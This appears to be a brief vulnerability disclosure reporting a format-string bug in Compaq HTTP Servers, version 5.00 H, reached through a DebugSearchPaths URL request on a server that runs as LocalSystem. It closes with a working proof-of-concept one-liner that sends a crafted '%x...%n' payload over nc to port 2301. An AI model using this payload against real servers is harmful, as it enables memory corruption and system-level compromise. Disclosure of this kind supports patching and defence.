Subject: formatstring bug in Compaq HTTP Servers

Hi there

There is a formatstring bug in Compaq HTTP Servers.
[in <!.DebugSearchPaths>?Url=> requests]

The HTTP server runs with LocalSystem account.

Versions:
All versions i have tested had this formatstring bug.

To be shure that it wasn't allready fixed, i downloaded this new version..

Version: 5.00 H (01/17/2003) 
http://www29.compaq.com/falco/sp_detail.asp?Model=4214&Div=2&Os=93&SoftwareVer=17022

Request:
$ printf "GET /<\x21.DebugSearchPaths>?Url=`perl -e 'print "A"x14'`BBBB`perl -e 'print
 ".%%x"x1208'`%%n> HTTP/1.0\n\n" | nc 192.168.235.131 2301
